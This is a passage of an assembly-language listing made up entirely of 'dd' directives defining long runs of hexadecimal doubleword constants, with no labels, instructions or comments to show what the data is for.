		dd 440C28ACh, 30B0E53Ch, 67B8B167h, 3BB93EA8h, 21B1C8DAh
		dd 5AA371D8h, 3FC1FA85h, 92050B7Dh, 0EDBA0DB6h,	0EA2D18A1h
		dd 8242DC7Eh, 0CE6AEA0Eh, 548206B0h, 8A83C586h,	8E1E991Eh
		dd 0B22C6541h, 13C56095h, 0EB1EEDE2h, 5F6D92D9h, 51275FEh
		dd 0B892707Dh, 37CEEDB4h, 0ED525957h, 7C29E610h, 90E5AF7Bh
		dd 0AA95F23Dh, 0C4F3118Fh, 295B1611h, 0FCA650F0h, 0EA29FA7Fh
		dd 6EDD8AD9h, 8DBD4008h, 8216AD98h, 0C9621FFEh,	0B4F2411Dh
		dd 0E0B336Ch, 0D525BD7Ah, 477BB654h, 71E528E8h,	0B77BCB59h
		dd 2A5DF181h, 7565A7F4h, 0D6B89DC7h, 39AD281Fh,	77D76996h
		dd 8D0DDBE9h, 0BDCD5815h, 0CFF597C4h, 9B1688E1h, 37B189D8h
		dd 0CCE3DACBh, 0B0BCC1A8h, 84210BF0h, 59DEAD8Bh, 0B63708A0h
		dd 0D1E6361Ah, 6631D345h, 1C47D707h, 7EAB1F96h,	0B5B89A3Fh
		dd 40D07896h, 65063044h, 0B5AA04FCh, 2009DC29h,	0D5DFE6C8h
		dd 0BC982D2Eh, 5F7DE1BAh, 0A0D46E04h, 0A0BEC45Fh, 1F84F7C4h
		dd 6D82A07Fh, 76E61ABCh, 5A3A90EEh, 0CDF2BE6Fh,	635C520h
		dd 9B6B6F2Ch, 2D7DD910h, 81B1DFD5h, 35AAAB55h, 934384E9h
		dd 0AAE7B081h, 0DBAF7725h, 49BD0D8Eh, 985C759Eh, 877B5C8Bh
		dd 322F71Fh, 15C65B28h,	17FA78D6h, 78B029A1h, 8020F0DDh
		dd 83CC9EFEh, 0B472B9F4h, 3C476B98h, 814FC96Ch,	61404D8Dh
		dd 0E389DD66h, 0BEB2E2C9h, 0EE414338h, 966159F2h, 305C949Ah
		dd 2BD2B06Ah, 0BCAD24DCh, 0FA803014h, 0F97749FAh, 393634D3h
		dd 6AD7B249h, 0FE96350h, 2922D4C2h, 0CCFAD0DFh,	231A2E11h
		dd 1B4A71EFh, 3DC5E685h, 9936837Ah, 79FE9DDh, 0A0268D5Bh
		dd 2BA2083Ch, 61EE900h,	0FA493209h, 43406CFCh, 0E1F8E525h
		dd 56FAC749h, 99E69F70h, 67763096h, 540AFAC5h, 7FC2D935h
		dd 50A14ECDh, 0FFB0FD62h, 776F8892h, 0C2A0C733h, 3DB0C09Eh
		dd 71FB4808h, 49851901h, 0B81434A6h, 8A3C34F4h,	0A6F1EA1Ah
		dd 38BE1EFFh, 17D6FD4Bh, 0C51E7096h, 433A2E9Bh,	0B9959E4Eh
		dd 82613150h, 0F9D01821h, 86D47A70h, 9B2D3995h,	1F18FEDAh
		dd 63C90D96h, 0F954A7D7h, 4042A254h, 5C4E4FD6h,	0B7F21682h
		dd 0FD8B2374h, 0CEEAEE27h, 820567CBh, 750842BFh, 0DDFFE54Dh
		dd 0EC62E4C3h, 2C9E582Ah, 31458841h, 0D1544C23h, 0EB9454C8h
		dd 26798F12h, 0D044AE65h, 2FF10326h, 24DC5993h,	62BF9634h
		dd 7D3EA09Fh, 0AF682572h, 24265DF0h, 0B89DB36Bh, 4CA24B3Bh
		dd 338825Ch, 402CD718h,	0BCFF1D79h, 0F8B7F83Fh,	0B5A13DF8h
		dd 536026FFh, 3B539C99h, 1D50D9F0h, 28118B03h, 0F5C4CD1h
		dd 6B2B10E3h, 5B7338DFh, 0F7E8E0A7h, 4C58754Ah,	71BB051Eh
		dd 3A38F09Eh, 0C343A258h, 0F4956828h, 31B0349Ch, 9FACEAE9h
		dd 43C2496h, 86713952h,	0E782D025h, 13B4579Eh, 7DEFE29Bh
		dd 0A80D460Bh, 9BC8065Fh, 0B060E375h, 5E6132Bh,	2FC37905h
		dd 9694F2A8h, 1F0147A8h, 0E001A67Fh, 0D531976Dh, 7382FB2Fh
		dd 7DE4CEEFh, 0DB518976h, 1C4D774Dh, 455C9501h,	2F62245Dh
		dd 45FA1927h, 0FA153381h, 84CE97Eh, 17129FE5h, 120A5957h
		dd 0F7E024C6h, 0AB10219Ah, 5982882Bh, 62E37BD9h, 1537A37Ah
		dd 577BDE1Dh, 6A97F08Bh, 0A9ACD3ABh, 4F78680Ch,	5EFDB904h
		dd 0DC4C6564h, 0BDE0B789h, 8C1BD0A4h, 2027168Ah, 27C78143h
		dd 49B5B08Eh, 599A1789h, 0D7EE5B49h, 5DD85204h,	0FEF30941h
		dd 0EBE49BE9h, 0D426DE17h, 75000F61h, 0CA55F64Fh, 92AC497Ch
		dd 0D0F994D2h, 226483F4h, 0CAB1E36Eh, 0AACA8EDCh, 0C3E94682h
		dd 8CE05338h, 996A28C6h, 6270A46Bh, 0C5337B52h,	0F95BF892h
		dd 0E548860Bh, 8F6A642Bh, 0D6541AE3h, 0A12417C4h, 8E5A09ECh
		dd 7F610B71h, 6401D060h, 41D16D2Eh, 1CE145Fh, 68C813F2h
		dd 5982A839h, 677E6064h, 0DB1F72B9h, 4C4100F6h,	34D5289h
		dd 0BD1373BEh, 483BEB49h, 0ADF3371Dh, 1748152h,	9B2379Ch
		dd 9D86E329h, 0FA4DFD53h, 0A8529BD4h, 6A29635Eh, 0A83A41C5h
		dd 31184ADEh, 0A315416Fh, 0E5781063h, 0B31D4FC6h, 5595FCB9h
		dd 7BD0727Bh, 6AF7F9B0h, 33791698h, 9B6E36B5h, 0DC9A8362h
		dd 0D0638304h, 289D150Fh, 0A0E3ADF4h, 9CB5B836h, 0A722C48Eh
		dd 4CE9A02Ah, 0E7B865F4h, 1A256278h, 0DD54301Ch, 7408D184h
		dd 3FF5459Eh, 2AEFC975h, 0F753D835h, 6D00A27h, 61A53A66h
		dd 18C5005h, 0E36CDDFh,	61824A8Bh, 982EBCCBh, 13C49A6Eh
		dd 0E355C54Dh, 0B5FE6D0h, 0D9D91E3Bh, 1192797Ch, 1C31AFC5h
		dd 0C3075284h, 7EEF98CBh, 0A11487B9h, 5C28585h,	76ADBB5h
		dd 69A4F46Ah, 0A34C237h, 0A7299763h, 0DE94E864h, 4DFBAD6Eh
		dd 85814446h, 3E74F76Eh, 0E109055Bh, 0F088E56Bh, 0D96F418Fh
		dd 0EFA5C401h, 50839823h, 7A53640Bh, 0D5C3E49Ch, 31482772h
		dd 0C34F577Bh, 0B2BD3F68h, 0CA389604h, 55A306BCh, 14565F44h
		dd 0B484339Ch, 0D566AD8Fh, 2D6B043h, 96A96F92h,	0E8880F6Fh
		dd 9A962883h, 0B7A3EB0Fh, 0A94A76F4h, 974A8A95h, 27C554EFh
		dd 0E5226391h, 0FA9D77E9h, 0A5E47F48h, 456C1CABh, 0ACA8C865h
		dd 1D1B6A4Ch, 360A471Bh, 0C377ABE0h, 9CD24D34h,	3FAA65DBh
		dd 5511A46Fh, 0A3972F5Ch, 50E1E35Ah, 8B5EFD26h,	776903EDh
		dd 874087ADh, 0EC091755h, 99F6582h, 33D746C9h, 9B259F29h
		dd 0B06DD234h, 4D922DE5h, 80E0C4C5h, 6E00A85Fh,	10C660B0h
		dd 0A3CD3710h, 8D7F44CCh, 0B4FDB2EAh, 0E3EEFA52h, 0F1B519Fh
		dd 2C58BB85h, 0F8061993h, 0FB92E524h, 0AD49FB87h, 0EAB38473h
		dd 0A5128A33h, 0B638E05h, 1C4437C4h, 6509BF25h,	0ECEE740Eh
		dd 2292C085h, 93281BDCh, 0ECED3BBEh, 7977BC4Fh,	0AB418E4Ah
		dd 8B7F560h, 420FED16h,	2EF85580h, 497CBCBFh, 1C8DDE30h
		dd 46985658h, 7F7E3A59h, 0CD7FE692h, 94D208B4h,	0E768B202h
		dd 2D8E67D6h, 3B2416F0h, 0B80F396Eh, 6EEFD146h,	0DCF44100h
		dd 8DD86DF1h, 0E9F1A1E8h, 0E3985BC7h, 29F3D175h, 6F4C6BEh
		dd 0B9605318h, 81C08366h, 0BAB4998Eh, 4E3368BBh, 0D2B14E81h
		dd 4A912BDh, 0C534924Bh, 0AD0432Bh, 0FC15BA4Dh,	43A7BE70h
		dd 0FF50CE29h, 223FE97Dh, 3982C9B0h, 0D1BD57F6h, 14B15DECh
		dd 2A341EC1h, 2FC266FDh, 968E2486h, 39BA25BDh, 0EE4B3F01h
		dd 3047E819h, 734FB362h
		dd 3A128C8Bh, 79A25E67h, 86BD2D42h, 0EF1DE6CAh,	0A5416344h
		dd 98842144h, 0B07047D0h, 0DF627B2Eh, 8B4A2541h, 51EF1EBh
		dd 0C4C8A97Bh, 70483E82h, 721090E2h, 0FD8EEC51h, 0C58D5FBFh
		dd 0B18C76B2h, 25CB4465h, 550F7BC1h, 0CA4388A5h, 22EB55FCh
		dd 8704E7D9h, 6D73C360h, 1BB34EBAh, 0AD7F3528h,	327247FCh
		dd 88E7F3B1h, 143D0476h, 0BC02714Bh, 86D7EAD9h,	0CCF93DB5h
		dd 5B12D677h, 3ADDF3Bh,	0C60D61F4h, 95B8D57Dh, 99C1F9D3h
		dd 463954D5h, 0F384C7FFh, 0CFBEC8ADh, 9CDB60D6h, 0E476172Ch
		dd 3A80C1F4h, 88374EE6h, 879EB35Ah, 3650F013h, 1C5A7BD5h
		dd 7E6AF0C1h, 0E564BA5Ah, 268AECE7h, 0FA19180Eh, 0FC4EF094h
		dd 0A3C12327h, 0D7E3A8Eh, 0B773D5CFh, 99EDB484h, 0E4FC3FD9h
		dd 0EA9438F1h, 0EF77FE76h, 21EF072h, 3B155620h,	862F3DC2h
		dd 0F390EA95h, 79E2B597h, 44572219h, 0BF1DBC88h, 0F40384A8h
		dd 0FB782E06h, 4F949895h, 29EE64B0h, 0A7D2A2ACh, 0B883E2D6h
		dd 32EE3C83h, 0D30FE5DEh, 5BAC6476h, 75F93A65h,	10C6F701h
		dd 6DB51714h, 0B288CC52h, 867CB6A5h, 88398793h,	0FA25DD74h
		dd 87AA4CB2h, 6579A107h, 58B90736h, 79586515h, 0FA9F89B6h
		dd 9AD3E451h, 0BB9B26DAh, 0B13B7CC7h, 0B6ACC43Ch, 617AF661h
		dd 49C72FE5h, 7D718AFEh, 9B8FDB3Eh, 983FA5CFh, 20DC98D4h
		dd 9CEA78Fh, 0E7DB7DE2h, 86C8F752h, 9E3FFB46h, 17552FAEh
		dd 9509FAEDh, 0A4DE56D1h, 6B8DE7A3h, 0DF25C1B1h, 0BB7EA917h
		dd 2D780A02h, 38C3E7ACh, 0BDF10BC2h, 22E32904h,	1CCEDCCh
		dd 40AA197h, 8D54385Dh,	0C29271C9h, 27C6A3E2h, 0C84ED983h
		dd 0C1896D5Eh, 25A4BA58h, 89182062h, 0D5E69743h, 6AABEFE6h
		dd 0B4829500h, 0B48D11A6h, 69BDC59Bh, 0C5069C2h, 0B75B83A5h
		dd 80A58ADh, 57DF6095h,	0B3180C4Eh, 927AC4ADh, 0FA3A998Ch
		dd 662FADC7h, 0FA9ADE6Eh, 0D130DA0Ch, 54DF2BB4h, 1480F24h
		dd 9671DA34h, 2D1B356Dh, 31A5CBFh, 67773639h, 9A828691h
		dd 36F437Fh, 0C6889CFEh, 3870E0C1h, 1B430917h, 4341E652h
		dd 7B397892h, 0F2F8E444h, 78A9E43Fh, 0A2974650h, 0CEE76AA3h
		dd 3447AA88h, 0B4406A7h, 35865BB5h, 7FBBF5DAh, 0A7A52C9Dh
		dd 0D17138BFh, 0C2133722h, 5C0CE95Dh, 5B1CE4Ch,	0FE5D3610h
		dd 0D2AB3571h, 604B6343h, 3EEE46D7h, 63607DBCh,	8E0E0FADh
		dd 0ED943CB5h, 0B46FB344h, 698E405Ch, 3D3A6CA3h, 5B7A0415h
		dd 839928C8h, 965A62A9h, 97947F39h, 2FB55D2Ah, 968F25B5h
		dd 0B9E972D5h, 7A5DECF8h, 0ADA3B078h, 0F332798Ch, 0FE0FBECh
		dd 57051C91h, 1C31F5C1h, 0F7746455h, 0DC569E45h, 0D4DDA9DEh
		dd 232BAD01h, 8347FD42h, 78195075h, 8C835B70h, 89B3F5D5h
		dd 0A19D38AEh, 0E00F34AEh, 0FA99551Fh, 5BFA790Ah, 9D4BFFh
		dd 0B9920B5Fh, 0F89F6BDAh, 0F92DFD7Ah, 0D3DE79BEh, 9149B921h
		dd 0F7996E41h, 407D827Fh, 7A591390h, 21D87A70h,	811134E2h
		dd 57B2CD47h, 6DE37B66h, 51EC6574h, 0BFAC7ED7h,	16F09249h
		dd 46686896h, 0C075E2B0h, 0A493ECh, 39E30D61h, 6098E24Dh
		dd 0D413D8B0h, 0CC333E6Eh, 70170AB2h, 73F7A07Ah, 73101D1Ah
		dd 0E09CEC0Ch, 916BF7F9h, 3360381Bh, 64BBE78Ch,	0F9E1DB8Bh
		dd 0C1CBAD6h, 3FFAE051h, 0A1D0FCF8h, 0ECBB6B51h, 4A3E41C1h
		dd 410DED67h, 0FDEDAB5h, 0EE074F27h, 83474C61h,	12B3AFBDh
		dd 0D0EFC0C2h, 0EE0184Eh, 685749B6h, 63234989h,	3E0C40B4h
		dd 6B4A756Eh, 0E31CF05h, 51E1797Eh, 6F3505EBh, 0A8BD7B84h
		dd 0F2AA5217h, 3D80D4B5h, 321B349Ch, 41D72ADDh,	73D951E5h
		dd 74E61EECh, 0BBA5DB03h, 9DA76884h, 0DA8EF897h, 769CE881h
		dd 7D53137h, 2E47DCFCh,	0AC29B94Dh, 5004E57Dh, 0C8154CB8h
		dd 0AB98C58Dh, 0EF48BFD2h, 2AAFFF96h, 0FC60903Ah, 4B68071Dh
		dd 6CE0B0F3h, 44F09851h, 6D7EFD2Dh, 29E37B93h, 0DC9F63C6h
		dd 94C9FE08h, 3FBE3551h, 0F26B263h, 1156C6FCh, 5270164Ch
		dd 294E517Bh, 24B05A9Bh, 15C2CF8Ah, 0C035047Bh,	576C7F5Ah
		dd 1CC3657Ah, 0CC01800h, 9728802h, 191CEC10h, 0C21EDF74h
		dd 9576E532h, 0F724D5CBh, 70784116h, 6BC0095Fh,	0B49DBB5Bh
		dd 173F43B6h, 0AF4E36D6h, 249E1A79h, 0A5F113B1h, 7486ACB1h
		dd 0F1C779C3h, 0FDB82335h, 0E8783E76h, 0B5EE08E6h, 8AAF7B2Ah
		dd 86EDE154h, 0F863F7BBh, 1DD4358Dh, 0AB8B5E60h, 32AE9450h
		dd 8902C740h, 0BD11F40Bh, 51394F9Bh, 2C4E25DBh,	0B671E924h
		dd 1A3C08D8h, 5C3117FAh, 47F3EAC5h, 53F35A4Ah, 0BF378DB9h
		dd 4BECADC3h, 75B0A585h, 31E3E7D6h, 6B1E849Ch, 0FD306C5Ah
		dd 0B820B48Bh, 4A1D8551h, 3C5F7E7Eh, 0C3979E76h, 3FCA787Dh
		dd 0CA2BCA1Bh, 8102A6FEh, 2DED5578h, 0DFBA38EBh, 351F20F2h
		dd 3B6A231Dh, 1E7CAF2Ah, 63694A51h, 7A26CA76h, 0D11D79ACh
		dd 35EFF08Ch, 82D9EB7Bh, 39C07AFEh, 0A62C0990h,	0C7E98659h
		dd 0F73A7BEEh, 0DD849452h, 5355D94Dh, 4C50D7C2h, 1393B3A7h
		dd 367AB8A6h, 0C70328EBh, 0CB5DA0A3h, 20DB0894h, 0D4AAE52Ch
		dd 62ABAD23h, 45B16A00h, 49802F82h, 6A1AA3C6h, 146B6B29h
		dd 9B7ED102h, 0A55A0049h, 0DEAA9E43h, 496427Eh,	0EA44A14Ch
		dd 0CCFA059Bh, 0FAEF42EDh, 77461E3Bh, 42FAB330h, 0A69113Fh
		dd 0A0F88715h, 0F083D30Eh, 71AC029Ah, 45C12869h, 75D9787Ah
		dd 68B20EB5h, 0B34CA80Bh, 7178E7E2h, 490025F1h,	0C8D68F80h
		dd 607FBE0Fh, 0F306DCCCh, 446608EFh, 0F49750E4h, 329DE1D3h
		dd 0B1BD6D4Eh, 1F77AF27h, 717AB7DDh, 0FAA21C8Fh, 9461A53Eh
		dd 91700470h, 98A34824h, 5C249C09h, 0AAE93BFBh,	0BE1CEF57h
		dd 8C13808h, 95250B90h,	5E0A10E6h, 0C92A9C94h, 25CBF759h
		dd 0F0799B54h, 0D4E2B250h, 924119D0h, 7342D5Bh,	0B61E60D8h
		dd 0CF66BBBEh, 5B0EE87Eh, 0F987C3D3h, 0CDC4F1AAh, 0F86A978h
		dd 6A9D38FBh, 203F7F49h, 0B04DC2B5h, 46AED623h,	0FC362B9Ah
		dd 0BAACDA1Eh, 4996D8Bh, 33CBF0C3h, 43A68FC8h, 0BDE457B1h
		dd 7A9C5BB1h, 9AEB0DB5h, 7823EC29h, 0F6CD4769h,	0F39950B9h
		dd 0A514D858h, 6E1B3C26h, 0E4F16D60h, 1E407044h, 0A67AC5BDh
		dd 1215D214h, 267B5915h, 5421A5EEh, 337B1527h, 63C51A41h
		dd 268A8B78h, 93FBA703h, 917ACD10h, 0AC4B356Dh,	0E366FAC9h
		dd 5B4A892Dh, 0C16361Ch, 95C4A910h, 0A0F7DE2Ch,	0D2A6573Fh
		dd 0D3EF9718h, 0B3D9AF76h, 64540C82h, 0C85E0C67h, 854775FEh
		dd 0C01BAAF9h, 104F4E7Ah, 19D69312h, 1C47D737h,	205407D4h
		dd 0DBDDDD5h, 312A2629h, 436C4C78h, 0E86C6ECAh,	51EC2AA2h
		dd 0FA48EE32h, 0BFF624BAh, 0C82761F2h, 685EB52Fh, 0EA16B713h
		dd 0C773B7F3h, 2C9F9003h, 4A11B05Bh, 658DED40h,	722E09BFh
		dd 0DDFA1F37h, 0D9A86D07h, 85A11A3Bh, 0F2977B19h, 623FD79Ch
		dd 0E5577714h, 5F011832h, 9985963Ah, 0B45E3FCEh, 0F946FF45h
		dd 216DFAAAh, 8F28949Fh, 0BD5FC5BFh, 0AD9A8121h, 12E7D4E0h
		dd 2478EE95h, 48D444AAh, 117D248h, 8A4DAFE9h, 0FBAA920Bh
		dd 0F0297DFBh, 0BE0868BBh, 0F5F6FD85h, 0FE5BE8C5h, 8BE0E1CEh
		dd 0BEA0D5CBh, 40305B2Dh, 1A0B2AE5h, 0DD0D2BBDh, 0C912397Fh
		dd 6360B54h, 8C528461h,	7FA0BBDCh, 0EB4296D8h, 25B26963h
		dd 211D6C11h, 6619A329h, 0CCA01B65h, 0BF81F2F5h, 7A7C1977h
		dd 9AD7EBC3h, 0F5AC4FB5h, 59AD128Bh, 0A6BC1BE6h, 0EDC8F844h
		dd 0C19601A9h, 0B46FDC5Ch
		dd 0ED88B44Ch, 0A865B249h, 0BAF015F3h, 0F59846ACh, 0AEA9389Eh
		dd 0C1CB4240h, 875D8B66h, 67AB1925h, 0E4D82CEEh, 0B5A28ED5h
		dd 51E8120Eh, 833B599Ah, 6A36E8C6h, 0C4928D9Bh,	0FA3AF506h
		dd 3F2AE59Ch, 0E32694Dh, 9AB2D8E4h, 25E36AF5h, 0A5CDCE29h
		dd 0BEA9AFDDh, 3993F078h, 0F6DD651Ch, 4A17D75Eh, 65A7E7B3h
		dd 0A2E47CD4h, 108E4935h, 0ABD12E8h, 0CC7B8E0h,	0FF427B32h
		dd 98E4B669h, 7C0D43F4h, 0C4325821h, 22D95BD0h,	0A9404EBCh
		dd 0F39303BAh, 4DE5F05Fh, 7E9099E0h, 0A9FF50EAh, 0D1C8E967h
		dd 12D33380h, 0C3CC3746h, 0DC9C5DC1h, 205179ADh, 8A14E392h
		dd 0D0E78D5Dh, 0E2D38F86h, 4756E56Ah, 0B1371208h, 0BDAF192Ch
		dd 0F8F46E94h, 0ADE1E314h, 40CB1CFCh, 0E8452D59h, 0D9DDCADEh
		dd 0F465D084h, 0FAD0F522h, 0D7A2D2BEh, 20A12077h, 9BF7B93h
		dd 4BD9067Ah, 0B28CD524h, 83F3019Bh, 29CBC16h, 0FEC868DCh
		dd 0E0216CDEh, 8B89B729h, 2585B9E5h, 707C2B97h,	1FDE4144h
		dd 57D4F63h, 3DDC2C47h,	0AFEE2B40h, 0FC562628h,	0F847E109h
		dd 44353A03h, 0B2049F2Ah, 6A186E08h, 0CFBACD1Ah, 4C923E15h
		dd 0CFC1B0DAh, 0D814C9AEh, 3DC4C650h, 53D97FFCh, 0F13FF9F1h
		dd 0AA944639h, 9D2D1A02h, 8338C7Fh, 6A4729E7h, 1C01F6E5h
		dd 34A210FDh, 0F960B53h, 746C0E2h, 95C98C6Eh, 0F09C9899h
		dd 2851A753h, 1A07939Eh, 0B070FBCBh, 233F37DEh,	43108D23h
		dd 0B28859DFh, 0BBB575F1h, 0B8F95011h, 0E3301AE5h, 29967861h
		dd 0DA6C4AEFh, 0E119A211h, 0EE6EA750h, 2B2DA4Eh, 0A67C5238h
		dd 0C1C10697h, 0E05303EDh, 973566C8h, 6B6451FCh, 434BAF4h
		dd 12553BFEh, 595668B3h, 41E0FB0Fh, 0DEB377FBh,	0E1D3B47Dh
		dd 450D7A87h, 22AC76h, 0F071DB90h, 0A1EB5F5Fh, 78478B89h
		dd 0E2CF93E6h, 9B49041h, 11A7BC7Eh, 0B176E428h,	9F1030A9h
		dd 0AE45B8CCh, 0F7716FC4h, 48256ACBh, 89C02E6Bh, 35E3BC35h
		dd 0DAED0FDEh, 79A36288h, 666E4A40h, 2A2AB1B4h,	96D8341h
		dd 5DD29BE5h, 79560CF8h, 0B819CF9Fh, 73E411Ch, 0FA1A8C0h
		dd 0F432FECEh, 9DF569A5h, 0BD25341Ch, 0D6CC4A5Bh, 0F883ECA6h
		dd 4A063BF0h, 57D9ECB7h, 716434DCh, 7CF053E6h, 0F7B2F184h
		dd 0E438655Eh, 4E12DAAAh, 1C379B9Fh, 0F39E271h,	4686BBC0h
		dd 0D1C9AF45h, 0F6DEB2CFh, 0C797AEB8h, 74EBF44Bh, 7A2F9244h
		dd 0D060C1A0h, 27DB3F65h, 26D99BCFh, 8CFC1981h,	0DDFC4904h
		dd 19E8A93Ch, 682BC140h, 71E4AF38h, 4605C7F9h, 9AE332F9h
		dd 0F32FC03Eh, 0EA881DE2h, 0D2D9550Ch, 7FA3A9C3h, 1AB0E30Ch
		dd 11F97EACh, 0CD688E2Dh, 568205B0h, 264088D6h,	0F5E6F277h
		dd 0CE40DB96h, 0F806CE4Bh, 7D6052CCh, 16504154h, 57681728h
		dd 7093BB8Fh, 9842FC4Fh, 0C3431E4Fh, 34109F44h,	0FC4DD12h
		dd 0CC7FE14Ah, 57F36037h, 993F8EE2h, 386FDB46h,	7A410Dh
		dd 0ED0CC282h, 0A7AFB942h, 9F1BC8F8h, 1E7E90Bh,	7987F0BCh
		dd 0E55D4F98h, 0EEE189AFh, 0F28F4669h, 2525D477h, 0E6EBB81Dh
		dd 33E77CEFh, 0EB02F678h, 9CD24FD0h, 0A4F1AE82h, 0A7D1FCE9h
		dd 0FBD85739h, 0C9A44472h, 137C5D91h, 6543BA38h, 0E8FB3270h
		dd 0FBA6602Ch, 12E9E123h, 0B09D7AB7h, 0D91995C8h, 0D27DEBC4h
		dd 0D239C401h, 0FF15C449h, 7BA8A08Dh, 0A145296Eh, 0BB234C18h
		dd 2D35C0A5h, 785C734Ch, 28C2C94Fh, 0C6E08E1Bh,	871F5D21h
		dd 0B50F606Ch, 60643F35h, 794579A2h, 95691370h,	9A803D83h
		dd 820E0293h, 0C2C8498h, 1A1AC612h, 425FDB2Ch, 0DFF635DFh
		dd 0AF0F1112h, 45C1F7A5h, 0B79554BCh, 1C1CCE07h, 3C1666D3h
		dd 0A9E03F61h, 0F25DB76Ch, 336DA2B9h, 0A9DD1865h, 0E9D2F639h
		dd 0D1841F9Fh, 58BC2478h, 0CA9AF199h, 0EAD623E4h, 0F4A45C86h
		dd 0AE76D1D0h, 0B5D12A5h, 0C5D71E72h, 3A985DF7h, 1EAE2767h
		dd 8F5319F2h, 0E83DF53Dh, 0C59BF08h, 6021C159h,	33CC4985h
		dd 0CE22CC4Dh, 0D87DADEh, 4A35E0AFh, 11BDB404h,	1D74959Dh
		dd 0A29BCDF0h, 6810E809h, 8FF81B96h, 0ACF54E7Dh, 859369CBh
		dd 7C9AC2ECh, 38A792DFh, 0B4754A2Dh, 76BA7820h,	7EF40ECFh
		dd 5E315570h, 59B02Bh, 0C6A032FEh, 0DB8EF9BBh, 0DE2CCA2Ah
		dd 0C23AA99Fh, 0E62531ECh, 4370E0FEh, 0DEA2F150h, 0ECA701B3h
		dd 0FA2C861h, 0E03B4B44h, 366D0A4Eh, 0D1DFF887h, 0B83198AFh
		dd 5A5196C4h, 84B77A3Ch, 92B03DA7h, 3B1F5F06h, 8AB08AA9h
		dd 5E91EB41h, 0A404CCC8h, 63702EB6h, 7DC6BA35h,	0AA07F0E2h
		dd 0CFA64245h, 4D7C786Dh, 22B7659Dh, 6F5CA8C0h,	4DA0370Dh
		dd 0CE3CFC5h, 0AA9A3DEEh, 7D44C2D7h, 9C8BA900h,	0E15F359Dh
		dd 3875171Fh, 552EAC8Dh, 0BA9D2706h, 0D03A5EDEh, 2650DAC1h
		dd 5A2F9F15h, 8E620952h, 0CFD679E6h, 2CB3AD0Bh,	7281884Eh
		dd 7015DF04h, 0BE221244h, 72EB356Ah, 0BC9D7F68h, 722FCECh
		dd 814BD8F5h, 0F90C7EEBh, 0AD5766E9h, 0BBF015F4h, 868F24E1h
		dd 8001361Fh, 0C1E2562Bh, 524477A9h, 0B8996A92h, 42174D20h
		dd 6222C5D3h, 53D2237Ah, 3F7A827Eh, 0AE8C2C9Bh,	8C4ECAE0h
		dd 72A734A6h, 0D472BC9Bh, 5AEFF097h, 52605857h,	28A205AAh
		dd 4C26CCF8h, 0D0E9EAB5h, 1282BF46h, 384E7A33h,	4337A8A7h
		dd 4C05A02Bh, 90B7B3BBh, 893A94E0h, 4846C06Bh, 96EFDF94h
		dd 0AD5E869Fh, 248461F9h, 0A92C8C3h, 0A7854E3Eh, 9051225Eh
		dd 0D4DBECBCh, 0C95B1393h, 0B6F5A88Fh, 0BCEB92BBh, 5991E176h
		dd 0CAA53C8Eh, 6322B5B0h, 776E98ACh, 51905240h,	26D17714h
		dd 0E9AB95E5h, 64AB1060h, 0C7791D7Dh, 728A3E32h, 28A703CCh
		dd 4344596Ah, 8DEC9A68h, 8C7D4E33h, 0A922F9E6h,	0ACEF5FA4h
		dd 6D74455Eh, 89651688h, 0C6E1CC5Fh, 835C42AEh,	829C2D18h
		dd 7A9CD796h, 90BEE5D9h, 0FAB2BE8Ah, 6AA1B04Bh,	12C27C9Ch
		dd 225BCE98h, 577BF3C9h, 2E3408E4h, 2E943BCFh, 0AAE36CE7h
		dd 5DBC8481h, 0F70B51B2h, 842FF213h, 2744A305h,	439BE374h
		dd 0D8A4C7FEh, 8FDE1E05h, 1964808Eh, 0AEFD78DBh, 0DF7B8E00h
		dd 0CBD3A293h, 2DB7AB3Fh, 0D09AA4B8h, 1A352954h, 23FF625h
		dd 239EDA5Bh, 0C69E5C5Ah, 77D151CBh, 0B67FF34Ah, 1A61B325h
		dd 31CE53D8h, 79593C00h, 2C109095h, 94CD95C6h, 0A5CD16E2h
		dd 0C0B2D092h, 1C7E1C66h, 0A14F697Ch, 885EF7A4h, 0B3A46E81h
		dd 0D06E3078h, 300DD0Eh, 305384C3h, 0FC9A33BDh,	568AF153h
		dd 39EAEE75h, 2FDEF040h, 0FB5811CFh, 514BBEACh,	0AB4D8909h
		dd 0E634E6B1h, 0CFB02919h, 0F5F82660h, 4F23739Fh, 0E653EBBFh
		dd 8EAE1C28h, 0D7399D43h, 175A9CFBh, 0F370F9B8h, 940AB098h
		dd 14432850h, 31F5AFBFh, 166DDEA4h, 0A876E8ECh,	452EE048h
		dd 0FA2FC010h, 866C3C20h, 0F8EF486Dh, 0FA687EE2h, 3B404F30h
		dd 223A2C89h, 0BCC4B94h, 0B4B4332Ch, 4075DAE6h,	6B44C09Dh
		dd 0E0A5FF07h, 0D1F06B7Eh, 5BEB48C9h, 0D6DF4E6Ah, 7F9D579Eh
		dd 357331AEh, 644D304Fh, 98DFFA2Bh, 54ED97DEh, 0F86AA20Ch
		dd 37844AEAh, 4CEEA281h, 0A386BB91h, 1105D4A0h,	6C5A1853h
		dd 33A03351h, 714298F0h, 0EEA6F43Fh, 78539B48h,	0B3E48155h
		dd 0B851FA46h, 3FD06AF4h, 0C4151AFDh, 6EBA149Eh, 0D1318812h
		dd 0C4ECD825h, 94BBE831h, 2CAB34FCh, 5C5E7BAEh,	81C7EF9Fh
		dd 6883927Ah, 51F6CF7Bh, 11D2F087h, 0B0C3426h, 40A93ED3h
		dd 3D8E6C61h, 0B6D48A29h, 0E022E116h, 1AA03926h, 7F929FC7h
		dd 0C72E9C2Bh, 894A57Ch
		dd 0AB1D7F0Dh, 9250A594h, 795ACE1Ch, 0A28979BFh, 0B0D958BFh
		dd 0F659071Ah, 1A08935h, 99C5E663h, 0A3030081h,	0BB5ACF0Eh
		dd 0F836B524h, 47226394h, 0B8D2C413h, 0D59501D2h, 0E8A02182h
		dd 7C5E8175h, 0A27996D3h, 0F0349E41h, 293898CFh, 0E4DD3362h
		dd 0B9739E6h, 194C3752h, 936BBF56h, 0BF5DE11Fh,	0A01CAFB0h
		dd 0DC728F1Eh, 0E4855338h, 31E31A1Ah, 99342533h, 0AC5032E3h
		dd 0D2E03F83h, 0E98AAA5Ah, 5336CBD8h, 19DD6622h, 3D3730CBh
		dd 39842FCCh, 8098CE40h, 9E1117Fh, 7E6FEA5Ah, 62447CF7h
		dd 58989237h, 0CE089486h, 61BC48BFh, 6EC262CEh,	7F18843Eh
		dd 66E74BA7h, 814688B6h, 1410FA2Ah, 2F9DDF0Eh, 0A8011CC8h
		dd 0D6783A56h, 0A003BB12h, 2150CDDEh, 2AC39998h, 7BAC12FEh
